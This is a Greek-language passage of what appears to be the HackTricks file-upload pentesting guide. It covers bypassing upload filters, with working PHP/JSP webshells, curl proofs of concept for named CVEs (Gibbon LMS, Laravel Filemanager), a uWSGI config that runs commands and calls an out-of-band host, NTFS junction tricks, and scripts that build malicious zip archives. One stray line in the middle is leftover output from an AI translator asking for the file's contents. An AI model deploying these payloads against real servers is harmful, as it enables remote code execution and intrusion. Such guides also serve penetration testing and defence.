Μεταφόρτωση αρχείων

Reading time: 28 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων

Άλλες χρήσιμες επεκτάσεις:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Παρακάμπτοντας ελέγχους επεκτάσεων αρχείων

  1. Αν εφαρμόζονται, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε επίσης να τις χρησιμοποιήσετε με μερικά κεφαλαία γράμματα: pHp, .pHP5, .PhAr ...
  2. Δοκιμάστε να προσθέσετε μια έγκυρη επέκταση πριν την επέκταση εκτέλεσης (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):
  • file.png.php
  • file.png.Php5
  1. Δοκιμάστε να προσθέσετε ειδικούς χαρακτήρες στο τέλος. Μπορείτε να χρησιμοποιήσετε το Burp για να κάνετε bruteforce όλους τους ascii και Unicode χαρακτήρες. (Σημείωση ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις προηγουμένως αναφερθείσες επεκτάσεις)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Δοκιμάστε να παρακάμψετε τις προστασίες ξεγελώντας τον extension parser του server-side με τεχνικές όπως διπλασιασμός της επέκτασης ή προσθήκη junk δεδομένων (null bytes) μεταξύ επεκτάσεων. Μπορείτε επίσης να χρησιμοποιήσετε τις προηγούμενες επεκτάσεις για να φτιάξετε πιο αποτελεσματικό payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Προσθέστε άλλο ένα επίπεδο επεκτάσεων στον προηγούμενο έλεγχο:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Δοκιμάστε να βάλετε την εκτελέσιμη επέκταση πριν την έγκυρη επέκταση και ελπίζετε ότι ο server είναι λανθασμένα διαμορφωμένος. (χρήσιμο για εκμετάλλευση misconfigurations του Apache όπου οτιδήποτε με επέκταση** .php, αλλά όχι απαραίτητα καταλήγοντας σε .php** θα εκτελέσει κώδικα):
  • ex: file.php.png
  1. Χρήση του NTFS alternate data stream (ADS) σε Windows. Σε αυτήν την περίπτωση, θα εισαχθεί ο χαρακτήρας άνω και κάτω τελείας ":" μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, θα δημιουργηθεί ένας κενός αρχείο με την απαγορευμένη επέκταση στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του short filename του. Το πρότυπο "::$data” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το pattern μπορεί επίσης να είναι χρήσιμη για να παρακαμφθούν περαιτέρω περιορισμοί (π.χ. "file.asp::$data.”)
  2. Δοκιμάστε να σπάσετε τα όρια μήκους ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Ορισμένοι upload handlers περικόπτουν ή κανονικοποιούν τους trailing dot χαρακτήρες από το αποθηκευμένο όνομα αρχείου. Στην UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε τον έλεγχο επέκτασης με:

  • Χρησιμοποιώντας ένα έγκυρο image MIME και magic header (π.χ., PNG’s \x89PNG\r\n\x1a\n).
  • Ονομάζοντας το ανεβασμένο αρχείο με μια PHP επέκταση ακολουθούμενη από τελεία, π.χ., shell.php..
  • Ο server αφαιρεί την trailing τελεία και αποθηκεύει το shell.php, το οποίο θα εκτελεστεί αν τοποθετηθεί σε directory που σερβίρεται από web (προεπιλεγμένο public storage όπως /storage/files/).

Μικρό PoC (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Στη συνέχεια προσπελάστε την αποθηκευμένη διαδρομή (τυπικό σε Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks ρυθμίζοντας την value του Content-Type header σε: image/png, text/plain, application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number check προσθέτοντας στην αρχή του file τα bytes of a real image (για να μπερδέψετε την file command). Ή εισάγετε το shell μέσα στα metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ή μπορείτε επίσης να introduce the payload directly μέσα σε μια εικόνα:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Αν γίνεται compression στην εικόνα σας, για παράδειγμα με κάποιες standard PHP βιβλιοθήκες όπως PHP-GD, οι προηγούμενες τεχνικές μπορεί να μην είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το PLTE chunk technique defined here για να εισάγετε κείμενο που θα survive compression.
  • Github with the code
  • Η σελίδα μπορεί επίσης να κάνει resizing της image, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις imagecopyresized ή imagecopyresampled. Ωστόσο, μπορείτε να χρησιμοποιήσετε το IDAT chunk technique defined here για να εισάγετε κείμενο που θα survive compression.
  • Github with the code
  • Μια άλλη τεχνική για να φτιάξετε ένα payload που survives an image resizing, χρησιμοποιώντας την PHP-GD function thumbnailImage. Εναλλακτικά, μπορείτε να χρησιμοποιήσετε το tEXt chunk technique defined here για να εισάγετε κείμενο που θα survive compression.
  • Github with the code

Άλλα κόλπα για έλεγχο

  • Βρείτε μια ευπάθεια για να rename το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
  • Βρείτε μια Local File Inclusion ευπάθεια για να εκτελέσετε το backdoor.
  • Possible Information disclosure:
  1. Ανεβάστε πολλαπλές φορές (και ταυτόχρονα) το ίδιο file με το ίδιο όνομα
  2. Ανεβάστε ένα file με το name ενός file ή folder που already exists
  3. Ανεβάζοντας ένα file με "." , "..", or "…" ως όνομα. Για παράδειγμα, σε Apache σε Windows, αν η εφαρμογή αποθηκεύει τα uploaded files στον φάκελο "/www/uploads/", το "." filename θα δημιουργήσει ένα αρχείο called uploads” στον φάκελο "/www/".
  4. Ανεβάστε ένα αρχείο που ίσως δεν διαγράφεται εύκολα, όπως "…:.jpg" σε NTFS. (Windows)
  5. Ανεβάστε ένα αρχείο σε Windows με invalid characters όπως |<>*?” στο όνομά του. (Windows)
  6. Ανεβάστε ένα αρχείο σε Windows χρησιμοποιώντας reserved (forbidden) names όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Δοκιμάστε επίσης να upload an executable (.exe) ή ένα .html (λιγότερο ύποπτο) που will execute code όταν ανοίξει κατά λάθος από το θύμα.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το XML file στο $JETTY_BASE/webapps/ και περιμένετε το shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Η εκτέλεση του payload γίνεται κατά την ανάλυση του αρχείου διαμόρφωσης. Για να ενεργοποιηθεί και να αναλυθεί η διαμόρφωση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από ένα crash ή λόγω ενός Denial of Service) είτε το αρχείο να έχει ενεργοποιημένο το auto-reload. Η δυνατότητα auto-reload, αν είναι ενεργοποιημένη, φορτώνει εκ νέου το αρχείο σε καθορισμένα διαστήματα όταν ανιχνεύει αλλαγές.

Είναι κρίσιμο να κατανοηθεί η χαλαρή φύση της διαδικασίας parsing των αρχείων διαμόρφωσης του uWSGI. Συγκεκριμένα, το συζητούμενο payload μπορεί να εισαχθεί σε ένα binary αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Ένα μη-επαληθευμένο endpoint στο Gibbon LMS επιτρέπει arbitrary file write μέσα στο web root, οδηγώντας σε pre-auth RCE με την τοποθέτηση ενός PHP αρχείου. Ευάλωτες εκδόσεις: μέχρι και την 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (ο server αγνοεί type/name, base64-decodes το tail)
  • path: destination filename relative to Gibbon install dir (π.χ., poc.php ή 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (π.χ., 0000000001)

Minimal PoC για να γράψει και να διαβάσει πίσω ένα αρχείο:

bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Αποθέστε ένα ελάχιστο webshell και εκτελέστε εντολές:

bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Σημειώσεις:

  • Ο χειριστής εκτελεί base64_decode($_POST["img"]) αφού κάνει διαχωρισμό με ; και ,, και στη συνέχεια γράφει bytes στο $absolutePath . '/' . $_POST['path'] χωρίς να ελέγχει επέκταση/τύπο.
  • Ο προκύπτων κώδικας εκτελείται ως ο χρήστης της web υπηρεσίας (π.χ., XAMPP Apache σε Windows).

Αναφορές για αυτό το bug περιλαμβάνουν το advisory του usd HeroLab και την εγγραφή στο NVD. Δείτε την ενότητα Αναφορές παρακάτω.

wget File Upload/SSRF Trick

Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί wget για να κατεβάζει αρχεία και μπορείτε να υποδείξετε το URL. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβαζόμενων αρχείων βρίσκεται μέσα σε μια whitelist για να διασφαλιστεί ότι θα κατέβουν μόνο επιτρεπόμενα αρχεία. Ωστόσο, αυτός ο έλεγχος μπορεί να παρακαμφθεί.
Η μέγιστη μήκος ενός όνοματος αρχείου σε linux είναι 255, όμως, wget περικόπτει τα ονόματα αρχείων σε 236 χαρακτήρες. Μπορείτε να download a file called "A"*232+".php"+".gif", αυτό το όνομα αρχείου θα παρακάμψει τον έλεγχο (όπως σε αυτό το παράδειγμα ".gif" είναι μια valid επέκταση) αλλά wget θα μετονομάσει το αρχείο σε "A"*232+".php".

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

Απόδραση upload directory μέσω NTFS junctions (Windows)

(Για αυτήν την επίθεση θα χρειαστείτε τοπική πρόσβαση στο Windows μηχάνημα) Όταν τα uploads αποθηκεύονται σε υποφακέλους ανά χρήστη σε Windows (π.χ., C:\Windows\Tasks\Uploads<id>) και ελέγχετε τη δημιουργία/διαγραφή αυτού του υποφακέλου, μπορείτε να το αντικαταστήσετε με ένα directory junction που δείχνει σε μια ευαίσθητη τοποθεσία (π.χ., το webroot). Τα επόμενα uploads θα γραφτούν στη στοχευμένη διαδρομή, επιτρέποντας εκτέλεση κώδικα εάν ο στόχος ερμηνεύει server‑side code.

Example flow to redirect uploads into XAMPP webroot:

cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Σημειώσεις

  • mklink /J δημιουργεί ένα NTFS directory junction (reparse point). Ο λογαριασμός του web server πρέπει να ακολουθεί το junction και να έχει δικαίωμα εγγραφής στον προορισμό.
  • Αυτό αναδρομολογεί αυθαίρετες εγγραφές αρχείων· αν ο προορισμός εκτελεί σκριπτάκια (PHP/ASP), αυτό γίνεται RCE.
  • Αμυντικές ενέργειες: μην επιτρέπετε writable upload roots να είναι attacker‑controllable κάτω από C:\Windows\Tasks ή παρόμοια· μπλοκάρετε τη δημιουργία junctions· επικυρώστε extensions server‑side· αποθηκεύστε τα uploads σε ξεχωριστό volume ή με deny‑execute ACLs.

Αποστολή σώματος συμπιεσμένου με GZIP + path traversal στην παράμετρο destination → JSP webshell RCE (Tomcat)

Ορισμένοι upload/ingest handlers γράφουν το raw request body σε ένα filesystem path που κατασκευάζεται από query parameters που ελέγχονται από τον χρήστη. Αν ο handler υποστηρίζει επίσης Content-Encoding: gzip και αποτυγχάνει να κανονικοποιήσει/επικυρώσει το destination path, μπορείτε να συνδυάσετε directory traversal με ένα gzipped payload για να γράψετε αυθαίρετα bytes σε έναν κατάλογο που εξυπηρετείται από το web και να αποκτήσετε RCE (π.χ. να ρίξετε ένα JSP στον φάκελο webapps του Tomcat).

Γενική ροή εκμετάλλευσης:

  • Προετοιμάστε το server-side payload σας (π.χ. minimal JSP webshell) και gzip-compress τα bytes.
  • Στείλτε ένα POST όπου μια path parameter (π.χ. token) περιέχει traversal που διαφεύγει τον προοριζόμενο φάκελο, και file υποδεικνύει το filename που θα αποθηκευτεί. Ορίστε Content-Type: application/octet-stream και Content-Encoding: gzip; το body είναι το συμπιεσμένο payload.
  • Περιηγηθείτε στο γραμμένο αρχείο για να προκαλέσετε εκτέλεση.

Ενδεικτικό αίτημα:

http
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

I don't have the contents of src/pentesting-web/file-upload/README.md. Please paste the file content (or the parts you want translated), and I will translate the relevant English text to Greek following your rules.

http
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Σημειώσεις

  • Οι διαδρομές-στόχοι διαφέρουν ανά εγκατάσταση (π.χ., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ σε κάποιες στοίβες). Οποιοσδήποτε φάκελος εκτεθειμένος στο web που εκτελεί JSP θα λειτουργήσει.
  • Burp Suite’s Hackvertor extension μπορεί να παράγει ένα σωστό gzip body από το payload σας.
  • Πρόκειται για ένα αμιγώς pre-auth arbitrary file write → RCE pattern· δεν βασίζεται σε multipart parsing.

Μέτρα αντιμετώπισης

  • Καθορίστε τους προορισμούς upload server-side· μη δέχεστε ποτέ τμήματα διαδρομής από clients.
  • Κανoνικοποιήστε και επιβάλετε ότι η επιλυμένη διαδρομή παραμένει εντός ενός allow-listed βασικού καταλόγου.
  • Αποθηκεύστε uploads σε non-executable volume και απαγορεύστε την εκτέλεση script από writable paths.

Εργαλεία

  • Upload Bypass είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθά Pentesters και Bug Hunters στη δοκιμή μηχανισμών file upload. Εκμεταλλεύεται διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας ολοκληρωμένες αξιολογήσεις εφαρμογών web.

Corrupting upload indices with snprintf quirks (historical)

Ορισμένοι legacy upload handlers που χρησιμοποιούν snprintf() ή παρόμοια για να δημιουργήσουν multi-file arrays από ένα single-file upload μπορούν να παραπλανηθούν ώστε να παραποιήσουν τη δομή _FILES. Λόγω ασυνεπειών και περικοπής στη συμπεριφορά του snprintf(), ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλά αρχειοθετημένα (indexed) αρχεία στην πλευρά του server, μπερδεύοντας λογική που υποθέτει σταθερή δομή (π.χ., αντιμετωπίζοντάς το ως multi-file upload και ακολουθώντας μη ασφαλείς διακλαδώσεις). Αν και σήμερα πιο niche, αυτό το pattern “index corruption” αναβιώνει περιστασιακά σε CTFs και παλαιότερες βάσεις κώδικα.

Από το File upload σε άλλες ευπάθειες

Ορίστε μια λίστα top 10 πραγμάτων που μπορείτε να πετύχετε μέσω uploading (από here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Μαγικά bytes κεφαλίδας

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Ανατρέξτε στο https://en.wikipedia.org/wiki/List_of_file_signatures για άλλους filetypes.

Αυτόματη αποσυμπίεση Zip/Tar κατά το Upload

Αν μπορείτε να ανεβάσετε ένα ZIP που θα αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:

Ανεβάστε έναν σύνδεσμο που περιέχει soft links σε άλλα αρχεία, στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα προσπελάσετε τα linked αρχεία:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Αποσυμπίεση σε διαφορετικούς φακέλους

Η απρόσμενη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από OS-level command execution μέσω κακόβουλων file uploads, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal του ZIP archive format μπορούν να αξιοποιηθούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς upload directories χειριζόμενοι τη λειτουργία αποσυμπίεσης της στοχευμένης εφαρμογής.

Ένας αυτοματοποιημένος exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμος στο evilarc on GitHub. Το εργαλείο μπορεί να χρησιμοποιηθεί ως εξής:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Επιπλέον, το symlink trick with evilarc είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως /flag.txt, θα πρέπει να δημιουργήσετε ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη λειτουργία του.

Παρακάτω υπάρχει ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός malicious zip αρχείου:

python
#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Κατάχρηση συμπίεσης για file spraying

For further details ελέγξτε την αρχική δημοσίευση στο: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: Στον PHP γράφεται κώδικας για την εκτέλεση εντολών που δίνονται μέσω της μεταβλητής $_REQUEST.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα αρχείο zip που περιέχει αυτά τα αρχεία.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή hex editor, αλλάζοντας το "xxA" σε "../" για να γίνει traversal σε γονικούς καταλόγους.
bash
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Όταν ένα backend επικυρώνει ZIP entries χρησιμοποιώντας το PHP’s ZipArchive αλλά η εξαγωγή γράφει στο filesystem χρησιμοποιώντας τα raw ονόματα, μπορείτε να smuggle μια μη επιτρεπτή επέκταση εισάγοντας ένα NUL (0x00) στα πεδία ονόματος αρχείου. Το ZipArchive μεταχειρίζεται το entry name ως C‑string και το περικόπτει στο πρώτο NUL· το filesystem γράφει το πλήρες όνομα, παραλείποντας οτιδήποτε μετά το NUL.

High-level flow:

  • Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
  • Name it like shell.php..pdf, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first . after .php with 0x00, resulting in shell.php\x00.pdf.
  • Validators that rely on ZipArchive will “see” shell.php .pdf and allow it; the extractor writes shell.php to disk, leading to RCE if the upload folder is executable.

Minimal PoC steps:

bash
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Σημειώσεις

  • Αλλάξτε ΚΑΙ τις δύο εμφανίσεις του filename (local και central directory). Μερικά εργαλεία προσθέτουν επίσης μια επιπλέον data descriptor καταχώρηση — προσαρμόστε όλα τα name fields εάν υπάρχουν.
  • Το payload αρχείο πρέπει να περάσει ακόμα τον server‑side magic/MIME sniffing. Η ενσωμάτωση του PHP σε ένα PDF stream διατηρεί το header έγκυρο.
